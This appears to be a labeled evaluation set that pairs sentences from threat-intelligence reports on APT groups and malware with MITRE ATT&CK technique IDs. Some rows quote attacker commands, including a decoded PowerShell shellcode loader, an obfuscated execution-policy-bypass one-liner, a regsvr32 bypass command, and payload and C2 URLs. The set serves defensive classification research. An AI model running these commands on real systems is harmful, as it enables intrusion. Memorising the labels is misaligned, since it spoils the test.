"Deploying a multi-layered approach including access policies, anti-virus, network monitoring and whitelisting can help ensure customers are protected against threats such as this.  Users of Kaspersky products are protected as well against this threat by one of the following detections:  PDM:Exploit.Win32.Generic HEUR:Exploit.SWF.Generic HEUR:Exploit.MSOffice.Generic  More information about BlackOasis APT is available to customers of Kaspersky Intelligence Reporting Service",['T1068 - Exploitation for Privilege Escalation'],eval_config
"These vulnerabilities were patched last December 28 2015, April 5, 2016, and May 12, 2016, respectively",['T1068 - Exploitation for Privilege Escalation'],eval_config
"Trend Micro Solutions Trend Micro™ Deep Security™ and Vulnerability Protection provide virtual patching that protects endpoints from threats such as malicious redirections to malware-hosting URLs, as well as those that exploit unpatched vulnerabilities",['T1068 - Exploitation for Privilege Escalation'],eval_config
exploits a known Windows privilege escalation vulnerability ( ) on unpatched computers.,['T1068 - Exploitation for Privilege Escalation'],eval_config
Detecting Avast  A unique feature of this latest Astaroth Trojan campaign is the malware's ability to search for specific security products and exploit them,['T1518.001 - Software Discovery: Security Software Discovery'],eval_config
"Checks for the presence of security tools (detailed in the Appendix) and if any of these security tools are discovered, then the system will be shut down, as shown in Figure 14",['T1518.001 - Software Discovery: Security Software Discovery'],eval_config
"APT38 is characterized by long planning, extended periods of access to compromised victim environments preceding any attempts to steal money, fluency across mixed operating system environments, the use of custom developed tools, and a constant effort to thwart investigations capped with a willingness to completely destroy compromised machines afterwards",['T1005 - Data from Local System'],eval_config
"Following the compromise of this system, analysts identified FIN6 leveraged stolen credentials to move laterally within the environment using the Windows’ Remote Desktop Protocol (RDP).",['T1021.001 - Remote Services: Remote Desktop Protocol'],eval_config
FIN6 also moved laterally to servers in the environment using RDP and configured them as malware “distribution” servers.,['T1021.001 - Remote Services: Remote Desktop Protocol'],eval_config
Each of the emails had a password protected RAR archive attached named credential.rar,['T1560 - Archive Collected Data'],eval_config
"Msoffice365cdn[.]com resolves to 80.82.79.221, which resides on the same class C network range as the IP resolution of office365-technical[.]info, which resolves to 80.82.79.240","['T1571 - Non-Standard Port', 'T1043 - Commonly Used Port']",eval_config
"SpyNote RAT builder The SpyNote Remote Access Trojan (RAT) builder is gaining popularity in the hacking community, so we decided to study its pervasiveness","['T1571 - Non-Standard Port', 'T1043 - Commonly Used Port']",eval_config
"On execution, the tool injects itself into lsass.exe and is triggered with the argument “dig”",['T1055 - Process Injection'],eval_config
This utility is able to execute complicated WQL queries and WMI methods,['T1047 - Windows Management Instrumentation'],eval_config
POSHSPY's use of WMI to both store and persist the backdoor code makes it nearly invisible to anyone not familiar with the intricacies of WMI,['T1047 - Windows Management Instrumentation'],eval_config
WMI permanent event subscriptions can be used to trigger actions when specified conditions are met,['T1047 - Windows Management Instrumentation'],eval_config
Initial triage begins with connecting to Windows Management Instrumentation (WMI) via the “ROOT\CIMV2” namespace,['T1047 - Windows Management Instrumentation'],eval_config
Most of the PowerShell commands would call Windows Management Instrumentation (WMI),['T1047 - Windows Management Instrumentation'],eval_config
"If this function is successfully loaded, it will ultimately spawn a new instance of itself with the Rundll32Call export via a call to rundll32.exe",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],eval_config
"The function then uses the built-in Shell function to run the following command, which effectively executes the .sct file stored in 12-B-366.txt:       regsvr32.exe /s /n /u /i:%TEMP%\12-B-366.txt scrobj.dll     The use of the legitimate regsvr32.exe application to run a .sct file is an AppLocker bypass technique originally discovered by Casey Smith (@subtee), which eventually resulted in a Metasploit module",['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],eval_config
"Those assignments were not likely arbitrary, as this group had developed BlackEnergy2 for several years in a professional and organized style:  Config with a similar set of plugins for different architectures Here is the list of retrieved files and related functionality:    weap DDoS Attack (various types)   ps password stealer handling a variety of network protocols (SMTP, POP3, IMAP, HTTP, FTP, Telnet)   nm scans ports, stores banners   snif logs IP source and destination, TCP/UDP ports   hook main module: CnC communication, config parser, plugins loader   uper rewrites hook module with a new version and launches it     Weap, Snif, Nm plugin grammar mistakes and mis-spellings The developers’ coding style differed across the ‘Hook’ main module, the plugins, and the Windows main.dll",['T1046 - Network Service Discovery'],eval_config
"For example, APT32 installed one backdoor as a persistent service with a legitimate service name that had a Unicode no-break space character appended to it",['T1036 - Masquerading'],eval_config
"SHA256 Filename PowerShell Filename Variant   5f001f3387ddfc0314446d0c950da2cec4c786e2374d42beb3acce6883bb4e63 <redacted> Technical Services.exe Office365DCOMCheck.ps1 Bat2exe   d948d5b3702e140ef5b9247d26797b6dcdfe4fdb6f367bb217bc6b5fc79df520 tafahom.exe, Sales Modification.exe SystemDiskClean.ps1 .NET    Table 1",['T1036 - Masquerading'],eval_config
Filename  vsrss.exe    File Size  446976 bytes    MD5  5c3456d5932544b779fe814133344fdb    SHA1  7ab750afb25457a81c27a98dc6dfd51c27e61b0e    Notes Delphi RAT file that beacons to ebeijingcn.live,['T1036 - Masquerading'],eval_config
"It named Meterpreter as a WAV file type, probably in the hope that this would not raise suspicions",['T1036 - Masquerading'],eval_config
"The Glimpse panel showing three compromised systems To interact with a specific agent, the actor selects the entry to open in the agent control panel",['T1543.001 - Create or Modify System Process: Launch Agent'],eval_config
Property list with persistence settings launchctl load /Library/LaunchDaemons/filename.plist > /dev/nul or launchctl load ~/Library/LaunchAgents/ filename.plist > /dev/nul will then command the operating system to start the dropped backdoor file at login,['T1543.001 - Create or Modify System Process: Launch Agent'],eval_config
"From the 185.25.50[.]93 C2 IP, we discovered another hard-coded user agent being used by Zebrocy: Mozilla/5.0 (Windows NT 6.1; WOW64) WinHttp/1.6.3.8 (WinHTTP/5.1) like Gecko We observed several samples of Zebrocy using this user agent targeting the foreign affairs ministry of a large Central Asian nation",['T1543.001 - Create or Modify System Process: Launch Agent'],eval_config
"If the Trojan does not have root privileges to enable its automatic launch, it creates the “~/.config/autostart/dbus-inotifier.desktop” file with the following contents: [Desktop Entry] Type=Application Exec=/home/user/.config/dbus-notifier/dbus-inotifier Name[en_EN]=system service d-bus notifier Name=system service d-bus notifier Comment[en_EN]= Comment= “/home/user/” stands here for the environment variable HOME",['T1033 - System Owner/User Discovery'],eval_config
PDB strings containing the 'SyberSpace' username,['T1033 - System Owner/User Discovery'],eval_config
"bat: A batch file to set up the service COMSysApp, for an x64 system bat: A batch file to set up the service COMSysApp, for an x86 system ini: A data file with Base64-encoded data for connecting to an FTP server","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",eval_config
"So this method uses psexec itself to copy the payload over the network, overwrite earlier versions (if found), and run it without waiting for any response. They use batch files that leverage psexec , again, to push PowerShell loader scripts out to machines the network scanner finds on the internal network.","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",eval_config
Screenshots The data dump includes several screenshots of resources that the leaker alleged was related to the OilRig group,['T1113 - Screen Capture'],eval_config
Periodic low resolution screenshots,['T1113 - Screen Capture'],eval_config
LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Window’s temp folder.,['T1056 - Input Capture'],eval_config
DLL side loading has been used to maintain persistence on the compromised system,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],eval_config
"As security controls have improved, DLL side loading has evolved to load a payload stored in a different directory or from a registry value",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],eval_config
"With the Trojan moved its final location, it will then create a scheduled task to run a VBScript to make sure it runs persistently","['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",eval_config
"This process ultimately attempts to run the Trojan every three minutes, which is important as OopsIE relies on this scheduled task as it does not include a main loop to continue its execution","['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",eval_config
"The oldest known sample of the Delphi variant (SHA256: 5a02d4e5f6…) provided us a much stronger linkage between this Delphi Cannon and Cannon, as this sample collects system information and sends it to the C2 email address, which includes the path of the running process appended to the string Running place",['T1057 - Process Discovery'],eval_config
"“win32_remote“,”win64_remote64“,”ollydbg“,”ProcessHacker“,”tcpview“,”autoruns“,”autorunsc“,”filemon“,”procmon“,”regmon“,”procexp“,”idaq“,”idaq64“,”ImmunityDebugger“,”Wireshark“,”dumpcap“,”HookExplorer“,”ImportREC“,”PETools“,”LordPE“,”dumpcap“,”SysInspector“,”proc_analyzer“,”sysAnalyzer“,”sniff_hit“,”windbg“,”joeboxcontrol“,”joeboxserver“  Blacklisted process names in the malware In some cases, it calculates the checksum of each running process name, and if it matches any hard-coded checksums, it causes a BSOD via the ntdll.dll “NtRaiseHardError” function",['T1057 - Process Discovery'],eval_config
"One of the documents we examined with the filename Rocket attacks on Israel.docx (SHA256: 34bdb5b364..) contained inconsistent creation and last modified timestamps, with the last modified timestamp occurring before the creation timestamp",['T1070.006 - Indicator Removal on Host: Timestomp'],eval_config
Create a process by impersonating a logged-on user  Getting a user token using WTSQueryUserToken,['T1134 - Access Token Manipulation'],eval_config
ARTIFACTS: Documents:     2781526f6b302da00661b9a6a625a5a6ecf4ffccafa61202e9b0e9b61b657867     c357396ca82fdcd6b6f46b748f2b6941051dbc81be5326cf9548e6e95507af7c     ffebcc4d2e851baecd89bf11103e3c9de86f428fdeaf0f8b33d9ea6f5ef56685     Domains:  true-deals[.]com; strikes-withlucky[.]com Email account in registration is: isvarawski@yahoo.com Attacker email account: adrian.1987clark@yahoo.com,['T1087 - Account Discovery'],eval_config
Message 2:    Headers Received: by mailcenter.support   Sender Council on Foreign Relations <webprint@fprii.net>   Subject The Four Traps China May Fall Into   Body Content and images included within the e-mail body were a direct copy of the following CFR article: https://www.cfr.org/blog/four-traps-china-may-fall   Notes Multiple hyperlinks within the e-mail body lead to a malicious RTF document located at the URL  hxxp://fprii.net/The_Four_Traps_for_China.doc,['T1087 - Account Discovery'],eval_config
"Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network",['T1087 - Account Discovery'],eval_config
The shareDll32 module then enumerates and identifies systems connected on the same domain using WNetEnumResource and GetComputerNameW,['T1087 - Account Discovery'],eval_config
"The VBScript has a SHA256 has of 649e3922ec53d5b195ed23aac08148faeb561f47e891b1e6ff60a2a9df4fea17, which calls two PowerShell commands to download and execute a payload and downloading and opening of a decoy document","['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",eval_config
FIN6 used PowerShell to execute an encoded command,"['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",eval_config
the PowerShell is executed using reflectively loaded ReflectivePicker from the Empire project,"['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",eval_config
"In this context the main function is executed.""Console"": with the argument, a persistence is configured and the malware will be executed at the next reboot ( HKCU\Software\Microsoft\Windows\CurrentVersion\Run\runsample ).""Sample"": with this argument, the malware executes the console command followed by the help command.The information collected is performed using WMI queries:Additionally the malware lists the running process via the Microsoft Windows API",['T1106 - Native API'],eval_config
"The overwritten instruction (displayed in Figure 1) is used to call the “WinExec” function from kernel32.dll, as depicted in the instruction at 00430c12, which calls the “WinExec” function",['T1106 - Native API'],eval_config
Registry key “SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ” is queried to check the values ConsentPromptBehaviorAdmin and PromptOnSecureDesktop,['T1012 - Query Registry'],eval_config
VMware DLL Check The Trojan checks to see if the files vmGuestLib.dll or vmbusres.dll exist in the system directory,"['T1497.001 - Virtualization/Sandbox Evasion: System Checks', 'T1497 - Virtualization/Sandbox Evasion']",eval_config
Ryuk is a ransomware that uses a combination of public and symmetric-key cryptography to encrypt files on the host computer.,['T1486 - Data Encrypted for Impact'],eval_config
"A new child process is created as “ tg ​ yt ​ ut ​ rc ​ ( ID) ​ .e ​ xe - i SM- tgytutrc ”, which is used to encrypt a single file on the drive",['T1486 - Data Encrypted for Impact'],eval_config
"In order to evade network level detection, the downloader uses steganography.",['T1001 - Data Obfuscation'],eval_config
send a POST response to the C&C server to extract the user’s login credentials. redirect users to fake phishing websites.,['T1185 - Browser Session Hijacking'],eval_config
icacls . /grant Everyone:F /T /C /Q,['T1222 - File and Directory Permissions Modification'],eval_config
COM + hijack in same sentence,['T1546.015 - Event Triggered Execution: Component Object Model Hijacking'],eval_config
"!Hello The Trojan introduces itself by sending the current username, if its an admin account or not, the computer name, the system UUID and the OS version","['T1033 - System Owner/User Discovery', 'T1082 - System Information Discovery']",eval_config
"19-2 A startup event for persistence The malware will run 2 .dlls from regsvr32 simultaneously, spawning userinit, ctfmon, and svchost processes","['T1218.010 - Signed Binary Proxy Execution: Regsvr32', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",eval_config
"AC,CNAME,MX,TXT,SRV,SOA Uses the regular expression ‘Address:\s+(\d+.\d+.\d+.\d+)’ and uses the decimal value in the first octet of that IPv4 address    Table 1 Breakdown of query types Once the system identifier is obtained, the payload gathers system specific information and sends it to the C2 server","['T1082 - System Information Discovery', 'T1016 - System Network Configuration Discovery']",eval_config
"Advanced endpoint threat detection (AETD) can help detect activity associated with web shells and lateral movement, and network technologies that use sandboxing techniques to detonate binaries in network traffic can prevent malicious traffic from reaching internal systems","['T1505.003 - Server Software Component: Web Shell', 'T1021.002 - Remote Services: SMB/Windows Admin Shares']",eval_config
"Again, a shortcut file is written to the %TEMP% path with a name of ‘~Update.lnk’, which is in turn copied to the identified startup path with a filename of ‘Windows help.lnk’","['T1036 - Masquerading', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",eval_config
An obfuscated command is located inside the Target bar in the .lnk file properties.   Hidden command inside the .lnk file,"['T1070.006 - Indicator Removal on Host: Timestomp', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",eval_config
APIs from the following libraries are loaded at runtime:  Kernel32.dll Ws2_32/wsock32.dll Apvapi32.dll Oleaut32.dll Iphlp.dll Urlmon.dll  A dynamic API loaded by the malware,"['T1055 - Process Injection', 'T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading']",eval_config
"A second scheduled task named “Scheduled Defrags” was created by loading the raw task XML with a backdated task creation timestamp of June 2, 2016","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1036 - Masquerading']",eval_config
"helloworld – performs actions identical to the newer sample’s ‘Sub’ function helloworld1 – accepts command-line arguments, performs a UAC bypass helloworld2 – drops and compiles a mof filemof file   sqmAddTostream – expected to run initially by the malware, checks OS version and loads the malware with helloworld2","['T1573 - Encrypted Channel', 'T1027.001 - Obfuscated Files or Information: Binary Padding', 'T1016 - System Network Configuration Discovery', 'T1048 - Exfiltration Over Alternative Protocol', 'T1550.002 - Use Alternate Authentication Material: Pass the Hash']",eval_config
"Cache.dll code flow overview RC4 decrypt hardcoded c2 and urls resolve hidden function calls collect identifying victim system data encrypt collected data send stolen data to c2 and retrieve commands Cache.dll code details Structurally, “Cache.dll” is a fairly large backdoor at 425KB","['T1005 - Data from Local System', 'T1140 - Deobfuscate/Decode Files or Information', 'T1041 - Exfiltration Over C2 Channel']",eval_config
"Cache.dll connectback urls: 209.200.83.43/ajax/links.php 209.200.83.43/ajax/api.php 209.200.83.43/ajax/index.php 209.200.83.43/ajax/error.php 209.200.83.43/ajax/profile.php 209.200.83.43/ajax/online.php 209.200.83.43/ajax/loader.php 209.200.83.43/ajax/search.php Observed user-agent string on the wire, but it’s dynamically generated based on the Windows system settings (retrieved using standard win32 api “ObtainUserAgentString”): “User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)” Communications with the CozyDuke C2 include key/value pairs passed as URL parameters","['T1106 - Native API', 'T1087 - Account Discovery']",eval_config
"Command Functionality   A List logical drives   B List directory (Z1 = directory name to list)   C Read data from file (Z1 = filename to read)   D Write content to file (Z1 = filename to write, Z2 = content to write)   E Delete file in directory (Z1 = file)   F Generate custom web response ""->|value in Z1|<-""   G Write hex-encoded content to file (Z1 = filename to write, Z2 = hex encoded content to write)   H Call _Notice(Z1, Z2)   I Move/rename file or directory (Z1 = target, Z2 = new name)   J Create directory (Z1 = directory name)   K Timestomp file or directory (Z1 = target, Z2 = time/date string to stomp to)   L Download file from Internet (Z1 = URL, Z2 = filename to write to)   M Launch process (Z1 = process name, Z2 = arguments)   N Test connect to SQL database (Z1 = SqlConnect String)   O SQL Get database table scheme (Z1 = \r delimited parameters to command)   P SQL Get database table scheme with restrictions (Z1 = \r delimited parameters to command)   Q SQL execute SQL command (Z1 = \r delimited parameters to command)    Table 4","['T1070.006 - Indicator Removal on Host: Timestomp', 'T1036 - Masquerading', 'T1083 - File and Directory Discovery', 'T1074 - Data Staged', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",eval_config
"Commands   Description    0x97A168D9697D40DD  Download and validate file (XXHash comparison) from C2 server    0x7CF812296CCC68D5  Upload file to C2 server    0x652CB1CEFF1C0A00  Load PE file    0x27595F1F74B55278  Download, validate (XXHash comparison), execute file, and send output to C2 server    0xD290626C85FB1CE3  Format the current timestamp    0x409C7A89CFF0A727  Capture the desktop screenshot in PNG format and send it to C2    None of the above  The received buffer is executed via cmd.exe and the output is then sent to the C2 server    Table 5: Supported commands  Conclusion While APT10 consistently targets the same geolocation and industry, the malware they use is actively evolving","['T1113 - Screen Capture', 'T1071 - Application Layer Protocol', 'T1041 - Exfiltration Over C2 Channel', 'T1132 - Data Encoding', 'T1105 - Ingress Tool Transfer']",eval_config
"During our analysis, we observed one loader running “rr.exe” with the following arguments:open cmd.exe /c c:\\temp\\rr.exe SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run ""C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\spp.exe"" iexploreThe “rr.exe” payload dropped to the system does nothing more than use the supplied command line arguments to create a registry key to execute the payload each time the system starts","['T1055.012 - Process Injection: Process Hollowing', 'T1036 - Masquerading']",eval_config
"Executable-Signing Certificates Samples are usually signed with a fake certificate – we’ve seen two instances, one AMD and one Intel:  Configuration files: Some of the malware uses an encrypted configuration file which is stored on disk as “racss.dat”","['T1553.002 - Code Signing', 'T1027 - Obfuscated Files or Information']",eval_config
"Features  TCP network stream (IPv4 & IPv6 support) Fast network serialization (Protocol Buffers) Compressed (QuickLZ) & Encrypted (TLS) communication Multi-Threaded UPnP Support No-Ip.com Support Visit Website (hidden & visible) Show Messagebox Task Manager File Manager Startup Manager Remote Desktop Remote Shell Download & Execute Upload & Execute System Information Computer Commands (Restart, Shutdown, Standby) Keylogger (Unicode Support) Reverse Proxy (SOCKS5) Password Recovery (Common Browsers and FTP Clients) Registry Editor  Supported runtimes and operating systems  .NET Framework 4.0 Client Profile or higher (Download) Supported operating systems (32- and 64-bit)  Windows XP SP3 Windows Server 2003 Windows Vista Windows Server 2008 Windows 7 Windows Server 2012 Windows 8/8.1 Windows 10    Compiling Open the project in Visual Studio 2017+ and restore the NuGET packages","['T1106 - Native API', 'T1010 - Application Window Discovery', 'T1105 - Ingress Tool Transfer', 'T1021.002 - Remote Services: SMB/Windows Admin Shares']",eval_config
"Figure 5 HTTP POST request to obtain an OAUTH access token Figure 5 shows that the Trojan then uses the following regular expression to obtain the access token from the HTTP response: \”access_token\”:(.*) Once authenticated with a valid access token, the Trojan will attempt to upload a file to the Google Drive account","['T1071 - Application Layer Protocol', 'T1134 - Access Token Manipulation']",eval_config
"For example, one of these FIN7 LNK files contained the following properties:  Version: 0 NetBIOS name: andy-pc Droid volume identifier: e2c10c40-6f7d-4442-bcec-470c96730bca Droid file identifier: a6eea972-0e2f-11e7-8b2d-0800273d5268 Birth droid volume identifier: e2c10c40-6f7d-4442-bcec-470c96730bca Birth droid file identifier: a6eea972-0e2f-11e7-8b2d-0800273d5268 MAC address: 08:00:27:3d:52:68 UUID timestamp: 03/21/2017 (12:12:28.500) [UTC] UUID sequence number: 2861  From this LNK file, we can see not only what the shortcut launched within the string data, but that the attacker likely generated this file on a VirtualBox system with hostname “andy-pc” on March 21, 2017","['T1070.006 - Indicator Removal on Host: Timestomp', 'T1082 - System Information Discovery', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",eval_config
"For more information related to HIDDEN COBRA activity, go to https://www.us-cert.gov/hiddencobra.If users or administrators detect the custom tools indicative of HIDDEN COBRA, these tools should be immediately flagged, reported to the DHS National Cybersecurity Communications and Integration Center (NCCIC) or the FBI Cyber Watch (CyWatch), and given highest priority for enhanced mitigation","['T1518.001 - Software Discovery: Security Software Discovery', 'T1564.001 - Hide Artifacts: Hidden Files and Directories']",eval_config
Hardcoded domain “mumbai-m[.]site”  BONDUPDATER will attempt to resolve the resulting DGA domain and will take the following actions based on the IP address resolution:  Create a temporary file in %temp% location The file created will have the last two octets of the resolved IP addresses as its filename,"['T1036 - Masquerading', 'T1016 - System Network Configuration Discovery']",eval_config
Here is the registry creation:The registry location where persistence is achieved is: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update,"['T1112 - Modify Registry', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1012 - Query Registry']",eval_config
"If HWP.exe is found running on the system, the malware finds the currently open file in HWP by extracting the file path from the command-line argument passed to HWP.exe This word file (usually named *.hwp) is copied into the temporary file path  C:\DOCUME~1\<username>\LOCALS~1\Temp\2.hwp  hwp is an exact copy of the file loaded into HWP.exe The malware reads the contents of 2.hwp and finds an “MZ magic marker” in the file indicated by the string “JOYBERTM”   Checking for the MZ marker in the HWP file","['T1070.006 - Indicator Removal on Host: Timestomp', 'T1036 - Masquerading', 'T1070.004 - Indicator Removal on Host: File Deletion', 'T1074 - Data Staged']",eval_config
"If the file does not exist, the Trojan will send the C2 server a message < File Not Found > by sending the following URL:http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>AAZ<hex(“< File Not Found >”)> If the file exists, the Trojan will read the contents of the specified file and compresses the contents using the GZipStream class","['T1070.006 - Indicator Removal on Host: Timestomp', 'T1070.004 - Indicator Removal on Host: File Deletion', 'T1105 - Ingress Tool Transfer']",eval_config
"In the example above, the “spp.exe” executable would be added to an auto-run registry key at: SOFTWARE\Microsoft\Windows\CurrentVersion\Run\iexplore Many of the Fetch samples attempted to obfuscate their functionality by encrypting their embedded strings with AES using the same key “agkrhfpdbvhdhrkj”; however, the loader’s main goal involved running the following command:/c powershell -window hidden -EncodedCommand JAAwAG8AOABlACAAPQAgACcAJABmADkAQgAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsA&lt;snip&gt;The base64 encoded command decodes to the following:$0o8e = '$f9B = ''[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $f9B -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = &lt;shellcode REDACTED for brevity&gt;;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$rJr=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($rJr.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$rJr,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($0o8e));$DKn = ""-enc "";if([IntPtr]::Size -eq 8){$b32 = $env:SystemRoot + ""\syswow64\WindowsPowerShell\v1.0\powershell"";iex ""&amp; $b32 $DKn $e""}else{;iex ""&amp; powershell $DKn $e"";}The decoded command above builds a buffer that it uses to store shellcode and creates a thread to execute it",['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
"It was also able to use a component of multinational antivirus software Avast to gain information about the target system, as well as a process belonging to Brazilian information security company GAS Tecnologia to gather personal information","['T1518.001 - Software Discovery: Security Software Discovery', 'T1082 - System Information Discovery']",eval_config
Japanese Tech Company Taiwanese Government Organizations Organizations in the Asia-Pacific Region that are of Interest to China   The WATERSPOUT backdoor was written to the same file path as the HIGHTIDE backdoors:  C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\winword.exe   WATERSPOUT was compiled within two days of the last HIGHTIDE backdoor and on the same day as the THREEBYTE backdoor,"['T1518.001 - Software Discovery: Security Software Discovery', 'T1005 - Data from Local System']",eval_config
"LOWBALL Malware Analysis The spear phishing emails contained three attachments in total, each of which exploited an older vulnerability in Microsoft Office (CVE-2012-0158):  MD5  Filename  b9208a5b0504cb2283b1144fc455eaaa  使命公民運動 我們的異象.doc  ec19ed7cddf92984906325da59f75351  新聞稿及公佈.doc  6495b384748188188d09e9d5a0c401a4  (代發)[采訪通知]港大校友關注組遞信行動.doc   In all three cases, the payload was the same:  MD5  Filename  d76261ba3b624933a6ebb5dd73758db4  time.exe   This backdoor, known as LOWBALL, uses the legitimate Dropbox cloud-storage service to act as the CnC server","['T1036 - Masquerading', 'T1598.002 - Spearphishing Attachment', 'T1102 - Web Service']",eval_config
"Once activated, this variant of the KillDisk component looks for and terminates two non-standard processes with the following names:  komut.exe sec_service.exe  We didn’t manage to find any information regarding the name of the first process (komut.exe)","['T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1036 - Masquerading']",eval_config
"Once macros were enabled on the target system, the malicious macros created two named scheduled tasks as persistence mechanisms for two backdoors on the infected system","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1064 - Scripting']",eval_config
"Original File Name Translation Decoy Location Most Likely Target   1060315 本部發言參考.doc 1060315 Headquarters Speech Reference.doc Defense Industry Development Strategy TW Defense   轉給苦逼的網管兄弟.doc Passing to cool fellow network administrators.doc Network administration jokes TW High Tech Telecommunication     2.SC OAM Firewall Policy_0306.xls 2.SC OAM Firewall Policy_0306.xls Network topology diagrams TW High Tech Telecommunication       Figure 3 Decoy document discussing Taiwan’s defense industry development strategy  Figure 4 Network firewall configuration description for a telecommunication company in Taiwan    Figure 5 Decoy document providing network topology information   It is worth noting that in the attack that made use of the decoy document in Figure 4, the attacker also included related firewall logs and appears to have originated from a compromised an IT service vendor","['T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1021.002 - Remote Services: SMB/Windows Admin Shares']",eval_config
"powershell.exe -exec Bypass -c $s=(get-content C:\\ProgramData\\WindowsDefenderService.ini);$d = @();$v = 0;$c = 0;while($c -ne $s.length){$v=($v*52)+([Int32][char]$s[$c]-40);if((($c+1)%3) -eq 0){while($v -ne 0){$vv=$v%256;if($vv -gt 0){$d+=[char][Int32]$vv}$v=[Int32]($v/256)}}$c+=1;};[array]::Reverse($d);iex([String]::Join(”,$d));  PowerShell one-liner Encoded text file Execution flow:  Case 2: VBS and text files dropped by the macro The VBS file decodes itself and calls mshta.exe, passing on one line of VBScript code to it, which in turn spawns a PowerShell one-liner which finally consumes the text file (usually Base64-encoded text)","['T1140 - Deobfuscate/Decode Files or Information', 'T1036 - Masquerading', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",eval_config
"Previously the fake website linked to the following documents in a third fake Oxford domain, oxford[.]in: http://oxford[.]in/downloads/ls1.doc http://oxford[.]in/downloads/ls2.doc http://oxford[.]in/downloads/ls3.doc http://oxford[.]in/downloads/ls4.do The documents were unavailable during our research, and their content is unknown to us","['T1071 - Application Layer Protocol', 'T1105 - Ingress Tool Transfer']",eval_config
"Regardless of the file extensions, the files dropped by the macro are EITHER INF, SCT and text files OR VBS and text files","['T1070.004 - Indicator Removal on Host: File Deletion', 'T1083 - File and Directory Discovery']",eval_config
"Second stage shellcode The second stage shellcode will then perform the following actions:  Download the final payload (FinSpy) from hxxp://89.45.67[.]107/rss/mo.exe Download a lure document to display to the victim from the same IP Execute the payload and display the lure document  Payload – mo.exe As mentioned earlier, the “mo.exe” payload (MD5: 4a49135d2ecc07085a8b7c5925a36c0a) is the newest version of Gamma International’s FinSpy malware, typically sold to nation states and other law enforcement agencies to use in lawful surveillance operations.  This newer variant has made it especially difficult for researchers to analyze the malware due to many added anti-analysis techniques, to include a custom packer and virtual machine to execute code","['T1055.012 - Process Injection: Process Hollowing', 'T1064 - Scripting', 'T1105 - Ingress Tool Transfer']",eval_config
"Several techniques are employed for executing the PowerShell code: If command starts with “excel”, then it leverages DDEInitiate Method of Excel.Appilcation to execute the code:  If the command starts with “outlook”, then it leverages Outlook.Application and MSHTA to execute the code:  If the command starts with “risk”, then execution is performed through DCOM object:      File upload functionality","['T1106 - Native API', 'T1140 - Deobfuscate/Decode Files or Information', 'T1059 - Command and Scripting Interpreter']",eval_config
SHUTDOWN Shuts down the system using cmd /s /t 0   RESTART Reboots the system using cmd /r /t 0   PROCANDSOFT Lists all active processes and all installed software and uploads the results to the C2 server using a POST command at the “/log.php”,"['T1071 - Application Layer Protocol', 'T1059 - Command and Scripting Interpreter']",eval_config
